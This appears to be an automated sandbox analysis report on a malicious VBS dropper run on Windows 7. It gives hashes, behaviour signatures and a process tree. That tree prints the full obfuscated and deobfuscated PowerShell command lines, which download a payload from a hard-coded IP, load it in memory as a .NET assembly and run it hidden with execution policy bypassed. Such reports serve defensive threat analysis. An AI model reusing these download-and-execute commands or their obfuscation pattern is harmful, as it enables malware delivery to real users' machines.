Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01/09/2022, 19:13

General

  • Target

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs

  • Size

    205KB

  • MD5

    55f65c5be5331616022acfa14b13cf0d

  • SHA1

    5715298639b8fa40e9621a9a1e5f4e12feb801ab

  • SHA256

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab

  • SHA512

    eaa7b7cea085d6703ad604cef958426b05da22930e451f65676b0f57631e0c7328ec089b8480debc41c2ecefddd8a7e173c4f9acce5baea72476fa983f934153

  • SSDEEP

    96:W6Ww7isRFEDD7174KWOktsKFSG4qYk/uU95coQ18HE:l/FEDHxIBKoTjcX18k

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1744

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          b115861131027369ed420335ec23543a

          SHA1

          eb9c0cfddfbbfd153c98e08a3a16483f09ec7385

          SHA256

          219b77e9cbcf8c0c298226ee4f6e9284c0019e2f069450adc157e081d3edef81

          SHA512

          b7f3ae1d0eff00d2aa78c908eb1bb0efd6b74b86bc477998307380fecca2e95bfde92ab70a5b59c63103caf6d401def08dd0ce5ce2979c0cffa594da661e0cfa

        • memory/1104-66-0x000000000293B000-0x000000000295A000-memory.dmp

          Filesize

          124KB

        • memory/1104-57-0x000007FEF4710000-0x000007FEF5133000-memory.dmp

          Filesize

          10.1MB

        • memory/1104-59-0x0000000002934000-0x0000000002937000-memory.dmp

          Filesize

          12KB

        • memory/1104-58-0x000007FEF3BB0000-0x000007FEF470D000-memory.dmp

          Filesize

          11.4MB

        • memory/1104-60-0x000000001B740000-0x000000001BA3F000-memory.dmp

          Filesize

          3.0MB

        • memory/1104-73-0x000000000293B000-0x000000000295A000-memory.dmp

          Filesize

          124KB

        • memory/1104-72-0x0000000002934000-0x0000000002937000-memory.dmp

          Filesize

          12KB

        • memory/1196-54-0x000007FEFC161000-0x000007FEFC163000-memory.dmp

          Filesize

          8KB

        • memory/1744-64-0x000007FEF4710000-0x000007FEF5133000-memory.dmp

          Filesize

          10.1MB

        • memory/1744-67-0x00000000027B4000-0x00000000027B7000-memory.dmp

          Filesize

          12KB

        • memory/1744-68-0x000000001B790000-0x000000001BA8F000-memory.dmp

          Filesize

          3.0MB

        • memory/1744-69-0x00000000027BB000-0x00000000027DA000-memory.dmp

          Filesize

          124KB

        • memory/1744-70-0x00000000027B4000-0x00000000027B7000-memory.dmp

          Filesize

          12KB

        • memory/1744-71-0x00000000027BB000-0x00000000027DA000-memory.dmp

          Filesize

          124KB

        • memory/1744-65-0x000007FEF3BB0000-0x000007FEF470D000-memory.dmp

          Filesize

          11.4MB